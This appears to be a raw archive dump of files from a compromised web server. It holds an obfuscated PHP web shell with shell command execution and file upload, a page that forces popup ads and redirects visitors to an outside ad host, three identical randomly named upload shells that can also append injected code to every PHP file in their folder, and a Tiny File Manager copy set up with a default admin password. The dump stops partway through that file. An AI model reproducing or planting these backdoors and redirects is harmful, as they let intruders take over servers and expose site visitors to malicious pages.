"\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . "\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo "\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }index.php000064400000003001151514460360006363 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 123.txt000064400000000003151514460360005610 0ustar00123qtrydsja.php000064400000001370151514460360007124 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> cwimufgh.php000064400000001370151514460360007074 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> cuqkioyv.php000064400000001370151514460360007135 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> ana.php000064400000600256151514460360006032 0ustar00<?php //Default Configuration $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}'; /** * H3K | Tiny File Manager V2.5.3 * @author CCP Programmers * @github https://github.com/prasathmani/tinyfilemanager * @link https://tinyfilemanager.github.io */ //TFM version define('VERSION', '2.5.3'); //Application Title define('APP_TITLE', 'Tiny File Manager'); // --- EDIT BELOW CONFIGURATION CAREFULLY --- // Auth with login/password // set true/false to enable/disable it // Is independent from IP white- and blacklisting $use_auth = true; // Login user name and password // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$Bs3ChtQjZXbCsotXjLTy1.Dx8wwwMXBTcCe0soPACxIiEWWiPcl3.', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">', 'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">', 'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">', 'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">', 'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>', 'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>', 'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>', 'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>', 'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>', 'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>', 'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>', 'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="mb-3"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE; ?></h1> </div> </div> <hr /> <div class="mb-3"> <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="mb-3"> <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="mb-3"> <?php fm_show_message(); ?> </div> <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" /> <div class="mb-3"> <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } // update root path if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path; } // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = 